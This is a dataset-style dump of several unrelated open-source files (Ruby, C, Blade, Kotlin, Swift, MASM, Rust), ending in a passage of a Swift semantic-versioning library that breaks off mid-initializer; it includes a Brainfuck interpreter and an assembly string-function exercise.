] | 1 | 2021-12-21T11:42:56.000Z | 2021-12-22T03:57:04.000Z | lib/cocoapods-binary-bel/gem_version.rb | DevaLee/cocoapods-binary-bel | d4d925c1ca5fdbf167256efa9688d3fbfcde35a5 | [
"MIT"
] | null | null | null | module CocoapodsBinaryBel
VERSION = "0.5.4"
end
| 13 | 25 | 0.711538 |
fbb5a9c4797bb020ec2eed0cf1f7653c9f3778cc | 165 | h | C | firmware/stm32_project_base/chip/hal_header.h | sprenger120/remote_control_device | c375ab12683c10fd2918ea8345bcb06a5d78b978 | [
"MIT"
] | 1 | 2021-01-27T12:23:43.000Z | 2021-01-27T12:23:43.000Z | firmware/stm32_project_base/chip/hal_header.h | sprenger120/remote_control_device | c375ab12683c10fd2918ea8345bcb06a5d78b978 | [
"MIT"
] | null | null | null | firmware/stm32_project_base/chip/hal_header.h | sprenger120/remote_control_device | c375ab12683c10fd2918ea8345bcb06a5d78b978 | [
"MIT"
] | null | null | null | #pragma once
#if __has_include("stm32f4xx_hal.h")
#include "stm32f4xx_hal.h"
#define STM32F4
#else
#include "stm32f1xx_hal.h"
#define STM32F1
#endif | 20.625 | 37 | 0.70303 |
d2e15825dc2d2d1940c352931597dc0c9f76f5a5 | 4,720 | php | PHP | resources/views/livewire/admin/karyawan/form.blade.php | AzzamyDev/Apotek | 82fad23a3b2030593f9c81d3d48fef0fe5dc8e18 | [
"MIT"
] | null | null | null | resources/views/livewire/admin/karyawan/form.blade.php | AzzamyDev/Apotek | 82fad23a3b2030593f9c81d3d48fef0fe5dc8e18 | [
"MIT"
] | null | null | null | resources/views/livewire/admin/karyawan/form.blade.php | AzzamyDev/Apotek | 82fad23a3b2030593f9c81d3d48fef0fe5dc8e18 | [
"MIT"
] | null | null | null | <div class="modal-dialog">
<div class="modal-content bg-info">
<div class="modal-header">
<h5 class="modal-title text-white">{{ $user_id != null ? 'Edit Data' : 'Form' }} Karyawan </h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span
aria-hidden="true">×</span></button>
</div>
<form autocomplete="off">
<div class="modal-body">
<div class="form-group">
<label class="text-white">Nama Lengkap</label>
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-user"></i>
</div>
</div>
<input wire:model='name' required value="{{ old('name') }}" id="name" name="name" type="text"
class="form-control @error('name')is-invalid @enderror">
</div>
@error('name')
<span class="text-danger">{{ $message }}</span>
@enderror
</div>
<div class="form-group">
<label class="text-white">Nomer Telpon</label>
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-phone"></i>
</div>
</div>
<input wire:model='telepon' required value="{{ old('telepon') }}" id="telepon" name="telepon"
type="number" class="form-control @error('telepon')is-invalid @enderror">
</div>
@error('telepon')
<span class="text-danger">{{ $message }}</span>
@enderror
</div>
<div class="form-group">
<label class="text-white">Pilih Jabatan</label>
<select wire:model.defer='jabatan' id="jabatan" name="jabatan" class="form-control selectric">
<option value="">Pilih Jabatan</option>
@foreach ($jabatans as $item)
<option {{ $jabatan == $item->nama ? 'selected' : '' }} value="{{ $item->nama }}">
{{ $item->nama }}</option>
@endforeach
</select>
@error('jabatan')
<span class="text-danger">{{ $message }}</span>
@enderror
</div>
<div class="form-group">
<label class="text-white">Username</label>
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-envelope"></i>
</div>
</div>
<input wire:model='username' required value="{{ old('username') }}" id="username"
name="username" type="username" class="form-control @error('username')is-invalid @enderror">
</div>
@error('username')
<span class="text-danger">{{ $message }}</span>
@enderror
</div>
<div class="form-group">
<label class="text-white">Password</label>
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-lock"></i>
</div>
</div>
<input wire:model='password' name="password"
type="{{ $this->password != null ? 'text' : 'password' }}"
class="form-control pwstrength @error('password')is-invalid @enderror"
data-indicator="pwindicator">
</div>
@error('password')
<span class="text-danger">{{ $message }}</span>
@enderror
</div>
</div>
<div class="modal-footer">
<button class="btn btn-block btn-success" type="button" wire:click="submit">Simpan</button>
</div>
</form>
</div>
</div>
| 51.304348 | 120 | 0.408051 |
a97ed54a5a31a0553c6fb097b01ca8181eb17f6d | 638 | kt | Kotlin | app/src/main/java/com/example/android/unsplash/ui/TransitionCallback.kt | wingsum93/android-unsplash | 941de0b352d974366e592b5503735b91b2f6e455 | [
"Apache-2.0"
] | null | null | null | app/src/main/java/com/example/android/unsplash/ui/TransitionCallback.kt | wingsum93/android-unsplash | 941de0b352d974366e592b5503735b91b2f6e455 | [
"Apache-2.0"
] | null | null | null | app/src/main/java/com/example/android/unsplash/ui/TransitionCallback.kt | wingsum93/android-unsplash | 941de0b352d974366e592b5503735b91b2f6e455 | [
"Apache-2.0"
] | null | null | null | package com.example.android.unsplash.ui
import android.transition.Transition
/**
* Dummy implementations of TransitionListener methods.
*/
abstract class TransitionCallback : Transition.TransitionListener {
override fun onTransitionStart(transition: Transition) {
// no-op
}
override fun onTransitionEnd(transition: Transition) {
// no-op
}
override fun onTransitionCancel(transition: Transition) {
// no-op
}
override fun onTransitionPause(transition: Transition) {
// no-op
}
override fun onTransitionResume(transition: Transition) {
// no-op
}
}
| 21.266667 | 67 | 0.678683 |
852d4bbd33765c6b5460cf52167989c9e30f2d42 | 650 | swift | Swift | CovidMarketPlace/Home/View/cells/GoodSuggestionCell.swift | lordkevinmo/covidmarketplace | 4e4f3405fcd1ea4255739c263b8b12e54b1c08ec | [
"Apache-2.0"
] | null | null | null | CovidMarketPlace/Home/View/cells/GoodSuggestionCell.swift | lordkevinmo/covidmarketplace | 4e4f3405fcd1ea4255739c263b8b12e54b1c08ec | [
"Apache-2.0"
] | null | null | null | CovidMarketPlace/Home/View/cells/GoodSuggestionCell.swift | lordkevinmo/covidmarketplace | 4e4f3405fcd1ea4255739c263b8b12e54b1c08ec | [
"Apache-2.0"
] | null | null | null | //
// GoodSuggestionCell.swift
// CovidMarketPlace
//
// Created by Moïse AGBENYA on 20/11/2020.
//
import UIKit
class GoodSuggestionCell: UICollectionViewCell {
@IBOutlet weak var goodImage: UIImageView!
@IBOutlet weak var categoryName: UILabel!
static let reuseIdentifier = "suggestion-cell"
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
}
}
extension GoodSuggestionCell: HomePopulate {
func populateView(with good: Home) {
let sugg = good as! Suggestion
goodImage.image = sugg.image
categoryName.text = sugg.suggestion
}
}
| 20.3125 | 50 | 0.666154 |
9defba163f4fac74b049a44ecf1746c308256410 | 143 | swift | Swift | tests/mpi/local/100-mci.swift | ketancmaheshwari/swift-k | ec4f2acbf122536b1b09f77251cb0d00b508251c | [
"Apache-2.0"
] | 99 | 2015-02-02T23:08:37.000Z | 2021-09-26T18:28:28.000Z | tests/mpi/local/100-mci.swift | ketancmaheshwari/swift-k | ec4f2acbf122536b1b09f77251cb0d00b508251c | [
"Apache-2.0"
] | 8 | 2015-02-04T22:00:08.000Z | 2019-01-02T17:02:39.000Z | tests/mpi/local/100-mci.swift | ketancmaheshwari/swift-k | ec4f2acbf122536b1b09f77251cb0d00b508251c | [
"Apache-2.0"
] | 26 | 2015-05-27T04:24:55.000Z | 2022-03-12T12:37:09.000Z |
type file;
app (file o) copy(file i)
{
mpi_cp @i @o;
}
file input<"100-input.txt">;
file output<"100-output.txt">;
output = copy(input);
| 11 | 30 | 0.629371 |
8b28a41849148096a6ffac4bb8e559a93375d4c0 | 2,013 | asm | Assembly | HW_Example/h701.asm | smallru8/smallMasmLib | 5c6e525a9867ecf82fa0db98d0a46c8b00c1ec74 | [
"BSD-3-Clause"
] | null | null | null | HW_Example/h701.asm | smallru8/smallMasmLib | 5c6e525a9867ecf82fa0db98d0a46c8b00c1ec74 | [
"BSD-3-Clause"
] | null | null | null | HW_Example/h701.asm | smallru8/smallMasmLib | 5c6e525a9867ecf82fa0db98d0a46c8b00c1ec74 | [
"BSD-3-Clause"
] | null | null | null | TITLE (.asm)
INCLUDE Irvine32.inc
INCLUDE Macros.inc
.data
MAX = 100
string1 BYTE MAX+1 DUP(0)
string2 BYTE MAX+1 DUP(0)
.code
main PROC
LOCAL ediLen:DWORD
mWrite "Destination string : "
mov edx,OFFSET string1
mov ecx,MAX
call ReadString
mov edi,OFFSET string1
mov esi,edi
call strlen
mov ediLen,eax
mWrite "Search string : "
mov edx,OFFSET string2
mov ecx,MAX
call ReadString
mov esi,OFFSET string2
call strstr
mWrite "Search result : "
.IF eax > ediLen
mWrite "NO found."
.ELSE
mWrite "OK."
.ENDIF
call crlf
mWrite "Append string : "
mov edx,OFFSET string2
mov ecx,MAX
call ReadString
mov edi,OFFSET string1
mov esi,OFFSET string2
call strcat
mov edx,edi
mWrite "After appending : "
call WriteString
call crlf
exit
main ENDP
;====================
;在字串1中搜尋字串2
;輸入 edi : 字串1
;輸入 esi : 字串2
;輸出 eax : 在字串1的位置
;====================
strstr PROC USES ecx
LOCAL esiPtr:DWORD
LOCAL ediPtr:DWORD
LOCAL esiLen:DWORD
LOCAL ediLen:DWORD
mov esiPtr,esi
mov ediPtr,edi
call strlen
inc eax;加上null byte
mov esiLen,eax
xchg esi,edi
call strlen
inc eax;加上null byte
mov ediLen,eax
xchg esi,edi
mov eax,0
L1:
cmp eax,ediLen
jg Return
cld
mov ecx,esiLen
repe cmpsb
cmp ecx,0
je Return
inc eax
mov edi,ediPtr
mov esi,esiPtr
add edi,eax
jmp L1
Return:
mov edi,ediPtr
mov esi,esiPtr
ret
strstr ENDP
;====================
;取得字串長度
;輸入 esi : 字串
;輸出 eax : 字串長度
;====================
strlen PROC USES edi
mov edi,esi
mov eax,0
L1:
cmp BYTE PTR [edi],0
je Return
inc edi
inc eax
jmp L1
Return:
ret
strlen ENDP
;====================
;將字串2接在字串1後面
;輸入 edi : 字串1
;輸入 esi : 字串2
;====================
strcat PROC USES eax ecx
push edi
push esi
xchg esi,edi
call strlen
xchg esi,edi
add edi,eax
call strlen
mov ecx,eax
inc ecx;加上null byte
cld
rep movsb
pop esi
pop edi
ret
strcat ENDP
END main | 15.022388 | 32 | 0.61997 |
2330294a3ec64aa551ce2e9acd842cdb1a4fe45c | 4,231 | rs | Rust | brainfuck/src/main.rs | xtpor/little-rust | 1ce73b203529892462684b92d55b540a677954d7 | [
"MIT"
] | null | null | null | brainfuck/src/main.rs | xtpor/little-rust | 1ce73b203529892462684b92d55b540a677954d7 | [
"MIT"
] | null | null | null | brainfuck/src/main.rs | xtpor/little-rust | 1ce73b203529892462684b92d55b540a677954d7 | [
"MIT"
] | null | null | null |
use std::io;
use std::io::prelude::*;
use std::env;
use std::process;
use std::fs;
use std::fs::File;
use std::fmt::Display;
use std::collections::HashMap;
struct Intrepreter {
code: String,
jump_table: HashMap<usize, usize>,
memory: [u8; 30000],
prog_ptr: usize,
mem_ptr: usize,
eof: bool,
}
impl Intrepreter {
fn initiate (code: String) -> Result<Intrepreter, &'static str> {
let code = oneline_code(code);
try!(verify_code_characters(&code));
let jump_table = try!(build_jump_table(&code));
Ok(Intrepreter {
code: code,
jump_table: jump_table,
memory: [0; 30000],
prog_ptr: 0,
mem_ptr: 0,
eof: false,
})
}
fn execute_single (&mut self) -> char {
let mut next_inc = self.prog_ptr + 1;
if self.is_halted() {
return 0 as char;
}
let instruction = self.code.as_bytes()[self.prog_ptr] as char;
match instruction {
'>' => self.mem_ptr = add_mod(self.mem_ptr as i32, 1, 30000) as usize,
'<' => self.mem_ptr = add_mod(self.mem_ptr as i32, -1, 30000) as usize,
'+' => *self.mem_ref() = add_mod(*self.mem_ref() as i32, 1, 256) as u8,
'-' => *self.mem_ref() = add_mod(*self.mem_ref() as i32, -1, 256) as u8,
'.' => putchar(*self.mem_ref() as char),
',' => match getchar() {
Some(ch) => *self.mem_ref() = ch as u8,
None => self.eof = true,
},
'[' => (),
']' => if *self.mem_ref() != 0 {
next_inc = *self.jump_table.get(&self.prog_ptr).unwrap();
},
_ => (),
}
self.prog_ptr = next_inc;
instruction
}
fn is_halted (&self) -> bool {
self.prog_ptr == self.code.len() && !self.eof
}
fn mem_ref (&mut self) -> &mut u8 {
&mut self.memory[self.mem_ptr]
}
}
fn add_mod (a: i32, b: i32, modulo: u32) -> i32 {
let mut remainder = (a + b) % (modulo as i32);
if remainder < 0 {
remainder += modulo as i32;
}
remainder
}
fn getchar () -> Option<char> {
let mut buf = [0; 1];
match io::stdin().read_exact(&mut buf) {
Ok(()) => Some(buf[0] as char),
Err(_) => None,
}
}
fn putchar (c: char) {
write!(io::stdout(), "{}", c);
}
fn build_jump_table (oneline_code: &String) -> Result<HashMap<usize, usize>, &'static str> {
let mut jump_table = HashMap::new();
let mut bracket_count = 0;
let mut index_last_open_bracket = 0;
for (i, c) in oneline_code.chars().enumerate() {
if bracket_count < 0 {
return Err("Unbalanced square brackets");
}
match c {
'[' => {
index_last_open_bracket = i;
bracket_count += 1;
},
']' => {
jump_table.insert(i, index_last_open_bracket);
bracket_count += 1;
},
_ => (),
}
}
Ok(jump_table)
}
fn verify_code_characters (oneline_code: &String) -> Result<(), &'static str> {
let chars_allowed = "><+-.,[]";
let fulfilled = oneline_code.chars().all(|c| chars_allowed.chars().any(|p| p == c));
if fulfilled {
Ok(())
} else {
Err("Source file contains invalid character")
}
}
fn oneline_code (code: String) -> String {
code.replace(" ", "").replace("\n", "").replace("\t", "")
}
fn unwrap_exit<E, D: Display> (result: Result<E, D>) -> E {
result.unwrap_or_else(|e| {
writeln!(io::stderr(), "Error: {}", e);
process::exit(-1);
})
}
fn main () {
let source_path = unwrap_exit(env::args().nth(1).ok_or("Usage: bfi <source-file>"));
let absolute_path = unwrap_exit(fs::canonicalize(source_path));
let mut file = unwrap_exit(File::open(absolute_path));
let mut code = String::new();
unwrap_exit(file.read_to_string(&mut code));
let mut intrepreter = unwrap_exit(Intrepreter::initiate(code));
while !intrepreter.is_halted() {
intrepreter.execute_single();
}
}
#[test]
fn add_mod_test () {
assert_eq!(add_mod(5, -10, 256), 251);
}
| 27.653595 | 92 | 0.53108 |
37548cf398a803f27a64321b8794498bd4b8a652 | 282 | swift | Swift | TodoApplication/TodoApplication/Models/List.swift | vkaltyrin/todo-app | 5238cecefb9c416e763017cd572f22513516ad02 | [
"MIT"
] | 4 | 2021-01-16T10:43:13.000Z | 2022-01-31T17:58:49.000Z | TodoApplication/TodoApplication/Models/List.swift | vladimir-kaltyrin/todo-app | 5238cecefb9c416e763017cd572f22513516ad02 | [
"MIT"
] | 3 | 2018-11-06T19:46:03.000Z | 2018-11-07T16:11:45.000Z | TodoApplication/TodoApplication/Models/List.swift | vladimir-kaltyrin/todo-app | 5238cecefb9c416e763017cd572f22513516ad02 | [
"MIT"
] | 1 | 2020-04-16T21:29:36.000Z | 2020-04-16T21:29:36.000Z | import Foundation
struct List {
let name: String
let tasks: [Task]
let identifier: Identifier?
init(name: String, tasks: [Task] = [], identifier: Identifier? = nil) {
self.name = name
self.tasks = tasks
self.identifier = identifier
}
}
| 20.142857 | 75 | 0.602837 |
a14df34d07a46083976e741effd8cbe8d85d1d91 | 1,191 | kt | Kotlin | data/src/main/java/io/aethibo/data/mapper/RepositoryMapper.kt | primepixel/Fork | b29bfdc0312520ffcdb8ee00264d47376ab205a0 | [
"Apache-2.0"
] | null | null | null | data/src/main/java/io/aethibo/data/mapper/RepositoryMapper.kt | primepixel/Fork | b29bfdc0312520ffcdb8ee00264d47376ab205a0 | [
"Apache-2.0"
] | null | null | null | data/src/main/java/io/aethibo/data/mapper/RepositoryMapper.kt | primepixel/Fork | b29bfdc0312520ffcdb8ee00264d47376ab205a0 | [
"Apache-2.0"
] | 1 | 2021-05-26T16:03:18.000Z | 2021-05-26T16:03:18.000Z | /*
* Created by Karic Kenan on 8.4.2021
* Copyright (c) 2021 . All rights reserved.
*/
package io.aethibo.data.mapper
import io.aethibo.data.utils.EntityMapper
import io.aethibo.domain.Repository
import io.aethibo.domain.response.RepositoryResponse
class RepositoryMapper : EntityMapper<RepositoryResponse, Repository> {
override fun mapFromEntity(entity: RepositoryResponse): Repository =
Repository(
id = entity.id.toString(),
name = entity.name,
private = entity.private,
description = entity.description,
language = entity.language,
watchersCount = entity.watchersCount,
stargazersCount = entity.stargazersCount,
forksCount = entity.forksCount,
createdAt = entity.createdAt,
updatedAt = entity.updatedAt,
owner = entity.owner.login,
avatarUrl = entity.owner.avatarUrl
)
override fun mapToEntity(domainModel: Repository): RepositoryResponse =
RepositoryResponse()
fun mapFromEntityList(entities: List<RepositoryResponse>): List<Repository> {
return entities.map { mapFromEntity(it) }
}
} | 33.083333 | 81 | 0.668346 |
a623d3b98961d89171e9e3db0c6e63f4c28f2689 | 24,230 | swift | Swift | Sources/SemanticVersion/SemanticVersion.swift | gallinapassus/SemanticVersion | aa5a18e000c1e71151bc9f35dce3f2aa910d36f5 | [
"CC0-1.0"
] | null | null | null | Sources/SemanticVersion/SemanticVersion.swift | gallinapassus/SemanticVersion | aa5a18e000c1e71151bc9f35dce3f2aa910d36f5 | [
"CC0-1.0"
] | null | null | null | Sources/SemanticVersion/SemanticVersion.swift | gallinapassus/SemanticVersion | aa5a18e000c1e71151bc9f35dce3f2aa910d36f5 | [
"CC0-1.0"
] | null | null | null | import Foundation
//
// https://semver.org
//
// MARK: -
public protocol SemanticVersionable {
var version:SemanticVersion { get }
}
// MARK: -
/// A type that can represent a semantic version.
public struct SemanticVersion {
// MARK: Public
/// Major version number.
///
/// Rule 1: Software using Semantic Versioning MUST declare a public API. This API could be declared in the code itself or exist strictly in documentation. However it is done, it SHOULD be precise and comprehensive.
///
/// Rule 2: A normal version number MUST take the form X.Y.Z where X, Y, and Z are non-negative integers, and MUST NOT contain leading zeroes. X is the major version, Y is the minor version, and Z is the patch version. Each element MUST increase numerically.
///
/// Rule 3: Once a versioned package has been released, the contents of that version MUST NOT be modified. Any modifications MUST be released as a new version.
///
/// Rule 4: Major version zero (0.y.z) is for initial development. Anything MAY change at any time. The public API SHOULD NOT be considered stable.
///
/// Rule 5: Version 1.0.0 defines the public API. The way in which the version number is incremented after this release is dependent on this public API and how it changes.
///
/// Rule 6: Patch version Z (x.y.Z | x > 0) MUST be incremented if only backwards compatible bug fixes are introduced. A bug fix is defined as an internal change that fixes incorrect behavior.
///
/// Rule 7: Minor version Y (x.Y.z | x > 0) MUST be incremented if new, backwards compatible functionality is introduced to the public API. It MUST be incremented if any public API functionality is marked as deprecated. It MAY be incremented if substantial new functionality or improvements are introduced within the private code. It MAY include patch level changes. Patch version MUST be reset to 0 when minor version is incremented.
///
/// Rule 8: Major version X (X.y.z | X > 0) MUST be incremented if any backwards incompatible changes are introduced to the public API. It MAY also include minor and patch level changes. Patch and minor version MUST be reset to 0 when major version is incremented.
public var major:UInt = 0
/// Minor version number.
///
/// See more on `major`.
public var minor:UInt = 0
/// Patch version number.
///
/// See more on `major`.
public var patch:UInt = 0
/// Pre-release identifiers.
///
/// Rule 9: A pre-release version MAY be denoted by appending a hyphen and a series of dot separated identifiers immediately following the patch version. Identifiers MUST comprise only ASCII alphanumerics and hyphen [0-9A-Za-z-]. Identifiers MUST NOT be empty. Numeric identifiers MUST NOT include leading zeroes. Pre-release versions have a lower precedence than the associated normal version. A pre-release version indicates that the version is unstable and might not satisfy the intended compatibility requirements as denoted by its associated normal version.
///
/// Rule 11: Precedence refers to how versions are compared to each other when ordered. Precedence MUST be calculated by separating the version into major, minor, patch and pre-release identifiers in that order (Build metadata does not figure into precedence). Precedence is determined by the first difference when comparing each of these identifiers from left to right as follows: Major, minor, and patch versions are always compared numerically. Example: 1.0.0 < 2.0.0 < 2.1.0 < 2.1.1. When major, minor, and patch are equal, a pre-release version has lower precedence than a normal version. Example: 1.0.0-alpha < 1.0.0. Precedence for two pre-release versions with the same major, minor, and patch version MUST be determined by comparing each dot separated identifier from left to right until a difference is found as follows: identifiers consisting of only digits are compared numerically and identifiers with letters or hyphens are compared lexically in ASCII sort order. Numeric identifiers always have lower precedence than non-numeric identifiers. A larger set of pre-release fields has a higher precedence than a smaller set, if all of the preceding identifiers are equal.
private (set) public var preReleaseIdentifiers:[String]?
/// Build metadata identifiers.
///
/// Rule 10: Build metadata MAY be denoted by appending a plus sign and a series of dot separated identifiers immediately following the patch or pre-release version. Identifiers MUST comprise only ASCII alphanumerics and hyphen [0-9A-Za-z-]. Identifiers MUST NOT be empty. Build metadata MUST be ignored when determining version precedence. Thus two versions that differ only in the build metadata, have the same precedence.
private (set) public var buildMetadataIdentifiers:[String]?
/// Deprecated
///
/// Deprecated, use description instead.
@available(*, deprecated, renamed: "description")
public var versionString:String {
let v = [major, minor, patch].map { "\($0)" }.joined(separator: ".")
let r = (preReleaseIdentifiers ?? []).joined(separator: ".")
let b = (buildMetadataIdentifiers ?? []).joined(separator: ".")
return v + (r.isEmpty ? "" : "-\(r)") + (b.isEmpty ? "" : "+\(b)")
}
// MARK: -
// MARK: Initialisation
/// Returns an instance representing a semantic version 0.0.0
public init() {}
public init(_ major: UInt, _ minor: UInt, _ patch: UInt) {
self.major = major
self.minor = minor
self.patch = patch
}
public init?(_ major: UInt, _ minor: UInt, _ patch: UInt, _ preReleaseIdentifiers: [String]?) {
self.init(major, minor, patch)
// init will ignore tokens with invalid characters
guard _validateIdentifiers(preReleaseIdentifiers) else { return nil }
self.preReleaseIdentifiers = preReleaseIdentifiers
}
public init?(_ major: UInt, _ minor: UInt, _ patch: UInt,
_ preReleaseIdentifiers: [String]?,
_ buildMetadataIdentifiers: [String]?) {
self.init(major, minor, patch)
// init will ignore tokens with invalid characters
guard _validateIdentifiers(preReleaseIdentifiers) else { return nil }
self.preReleaseIdentifiers = preReleaseIdentifiers
guard _validateIdentifiers(buildMetadataIdentifiers) else { return nil }
self.buildMetadataIdentifiers = buildMetadataIdentifiers
}
public init(major: UInt, minor: UInt, patch: UInt) {
self.init(major, minor, patch)
}
public init?(major: UInt, minor: UInt, patch: UInt, preReleaseIdentifiers: [String]?) {
self.init(major, minor, patch)
// init will ignore tokens with invalid characters
guard _validateIdentifiers(preReleaseIdentifiers) else { return nil }
self.preReleaseIdentifiers = preReleaseIdentifiers
}
public init?(major: UInt, minor: UInt, patch: UInt,
preReleaseIdentifiers: [String]?,
buildMetadataIdentifiers: [String]?) {
self.init(major, minor, patch)
// init will ignore tokens with invalid characters
guard _validateIdentifiers(preReleaseIdentifiers) else { return nil }
self.preReleaseIdentifiers = preReleaseIdentifiers
guard _validateIdentifiers(buildMetadataIdentifiers) else { return nil }
self.buildMetadataIdentifiers = buildMetadataIdentifiers
}
// MARK: -
// MARK: Internal
internal func _validateIdentifiers(_ identifiers:[String]?) -> Bool {
// identifiers == nil -> ok
guard let identifiers = identifiers else {
return true
}
// - Don't allow empty identifiers []
// - Require identifiers to be either valid numeric identifiers
// or valid alphanumeric or hyphen identifiers [0-9A-Za-z-]
//
// NOTE: String "0123" is valid alphanumeric identifier, but
// as it contains only numbers, it will be treated as numeric
// identifier. And and as it has a leading zero, it becomes
// a non-valid identifier.
return identifiers.isEmpty ? false : identifiers.allSatisfy({ (s) in
guard _isValidNumericToken(s) == true else {
// not a "pure" numeric identifier
// is it [0-9A-Za-z-] identifier?
return _isAlphaNumericOrHyphenToken(s) && // [0-9A-Za-z-]
_isNumericToken(s) == false // pure numeric identifiers are no longer accepted
}
return true // Was valid numeric identifier
})
}
internal func _isAlphaNumericOrHyphenToken(_ token:String) -> Bool {
return !token.isEmpty &&
CharacterSet(charactersIn: token)
.isSubset(of: validIdentifierChars)
}
internal func _isValidNumericToken(_ token:String) -> Bool {
// Only numbers allowed
// No leading zeroes allowed
guard _isNumericToken(token) else {
return false
}
// Extract all zeros from the beginning
let leadingZeroes = token.prefix(while: { (char) -> Bool in char == "0" })
// One zero "0" is ok, two or more zeros "00", means we have leading zeros -> not ok
if leadingZeroes.count >= 1 && token.count > 1 {
return false
}
// Do not allow empty identifiers
return !token.isEmpty
}
}
internal func _isNumericToken(_ token:String) -> Bool {
return CharacterSet(charactersIn: token)
.isSubset(of: CharacterSet(charactersIn: "1234567890"))
}
// MARK: -
internal func semanticTokenArrayCompareLessThan(_ lhs:[String], _ rhs:[String]) -> Bool {
for (l,r) in zip(lhs, rhs) {
switch (_isNumericToken(l), _isNumericToken(r)) {
case (true, true):
guard let ul = UInt(l), let ur = UInt(r) else {
fatalError("String to UInt conversion failed. Are these [\(l), \(r)] valid UInt values?")
}
if ul == ur { continue }
else { return ul < ur }
case (true, false): // lower
return true
case (false, true): // higher
return false
case (false, false):
// Dilemma - semver rules states following...
//
// - identifiers with letters or hyphens are compared
// lexically in ASCII sort order -> [A-Za-z-]
// - identifiers consisting of only digits are compared
// numerically -> [0-9]
//
// Interpreting above "strictly", it is unclear how
// comparison should be done when identifier is
// combination of letters, digits, hyphens -> [0-9A-Za-z-]
//
// Quickly thinking it would be easy to lean towards
// lexical sort order. Identifier is "mixed" so lexical
// sort order is what one would expect. This will lead to
// following (pre-release identifiers of different versions):
//
// "rc9", "rc20", "rc100"
// sorted lexically
// "rc100", "rc20", "rc9"
//
// Above works ok, for single digit sorting, but as soon
// as identifier digit count is > 2. Sort order becomes
// unintuitive for humans.
// Above can be solved by including proper amount of leading
// zeroes in the identifier.
// "rc009", "rc020", "rc100" will sort as expected.
//
// Or should dilemma be considered as a convenient loophole
// to be innovative in this case and enable numeric(*) sort for
// "mixed" content.
//
// (*) NSString.CompareOptions.numeric documentation states:
//
// Numeric comparison only applies to the numerals
// in the string, not other characters that would
// have meaning in a numeric representation such
// as a negative sign, a comma, or a decimal point.
//
// Enabling numeric sort option would produce results
// what most humans would expect.
//
// One can workaround the lexical sort issue by
// introducing additional identifiers.
//
// rc1, ..., rc9, rc9.0, rc9.1, ..., rc9.9.0, ...
//
// But for humans, results are bit cumbersome.
//
// To avoid above issue in the first place, one should
// release the first release candidate with following scheme:
//
// SemanticVersion(1,0,0,["rc", "1"]) // "1.0.0-rc.1"
// ...
// SemanticVersion(1,0,0,["rc", "28"]) // "1.0.0-rc.28"
//
// Above strategy would keep rc's sorted correctly at all
// times as "digit" only identifiers are sorted numerically.
// But, if one has made the initial mistake of releasing
// the first rc as "rc1", there is no way to get back on the
// proper scheme. The only option is to release before one
// hits the 10 ;-)
//
// Decision: enable numeric sort option as it will
// likely save some poor souls from the initial mistake
// of releasing first release candidate as "rc1"
// and not as "rc.1" or "rc001"
#if SORT_OPTION_NONE
let sortOptions:NSString.CompareOptions = []
#else
let sortOptions:NSString.CompareOptions = [.numeric]
#endif
switch l.compare(r, options: sortOptions) {
case .orderedAscending: return true
case .orderedDescending: return false
case .orderedSame: continue // No difference, go deeper
}
}
}
// No difference in identifiers. How about identifier count?
// Rule 11: A larger set of pre-release fields has a higher precedence
// than a smaller set, if all of the preceding identifiers are equal.
return lhs.count < rhs.count
}
// MARK: -
// MARK: validIdentifierChars
/// Valid characters for pre-release and build metadata identifiers
///
/// ASCII letters `[0-9A-Za-z-]`
fileprivate let validIdentifierChars = CharacterSet(charactersIn: "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-")
// MARK: -
// MARK: CustomStringConvertible
extension SemanticVersion : CustomStringConvertible {
public var description: String {
let v = [major, minor, patch].map { "\($0)" }.joined(separator: ".")
let r = (preReleaseIdentifiers ?? []).joined(separator: ".")
let b = (buildMetadataIdentifiers ?? []).joined(separator: ".")
return v + (r.isEmpty ? "" : "-\(r)") + (b.isEmpty ? "" : "+\(b)")
}
}
// MARK: Codable
extension SemanticVersion : Codable {}
// MARK: Hashable
extension SemanticVersion : Hashable {}
// MARK: Comparable, Equatable
extension SemanticVersion : Comparable, Equatable {
public static func ==(lhs: SemanticVersion, rhs: SemanticVersion) -> Bool {
return (lhs < rhs) == false && (lhs > rhs) == false
}
public static func < (lhs: SemanticVersion, rhs: SemanticVersion) -> Bool {
if lhs.major < rhs.major {
return true
}
if lhs.major > rhs.major {
return false
}
if lhs.major == rhs.major {
// Next level
if lhs.minor < rhs.minor {
return true
}
if lhs.minor > rhs.minor {
return false
}
if lhs.minor == rhs.minor {
// Next level
if lhs.patch < rhs.patch {
return true
}
if lhs.patch > rhs.patch {
return false
}
}
}
// Build metadata SHOULD be ignored when determining version precedence.
// Thus two versions that differ only in the build metadata, have the
// same precedence.
if let lhsTokens = lhs.preReleaseIdentifiers {
if let rhsTokens = rhs.preReleaseIdentifiers {
// some, some => comapre
let r = semanticTokenArrayCompareLessThan(lhsTokens, rhsTokens)
return r
}
else {
// some, nil =>
// lhs is pre-release and rhs is non-pre-release
// => rhs has higher precedence than lhs
return true
}
}
else {
if let _ = rhs.preReleaseIdentifiers {
// nil, some =>
// lhs is non-pre-release and rhs is pre-release
// => lhs has higher precedence than rhs
return false
}
else {
// nil, nil
// lhs is non-pre-release and rhs is non-pre-release
// => lhs and rhs version numbers are equal & both
// are non-pre-releases, hence lhs is not < rhs
return false
}
}
}
}
// MARK: LosslessStringConvertible
extension SemanticVersion : LosslessStringConvertible {
public init?(_ description: String) {
// Initializing from a string allows an intuitive and natural way
// to express a simple version.
//
// SemanticVersion("1.0.0-beta+debug") // "1.0.0-beta+debug"
//
// At the same time given string can be anything but a
// version number and something which clearly doesn't follow
// the defined format. In these cases returning nil and failing
// is the right choise.
//
// SemanticVersion("Lorem ipsum...") // nil
//
// There are also cases where given string is close to
// proper format, but is missing some piece(s) of data or
// is othrevice "slightly" incorrectly formatted.
//
// SemanticVersion("1-alpha") // "1.0.0-alpha" ?
// SemanticVersion("0+") // "0.0.0" with "" build metadata ?
//
// Following implementation tries to emulate
//
// "a human intuitively and without thinking reading
// the given string as a valid version number".
//
// Match the empty initializer.
// Initializing with empty string equals to SemanticVersion() -> 0.0.0
if description.isEmpty {
return // -> 0.0.0
}
// Separate the version digit segment from rest of the string.
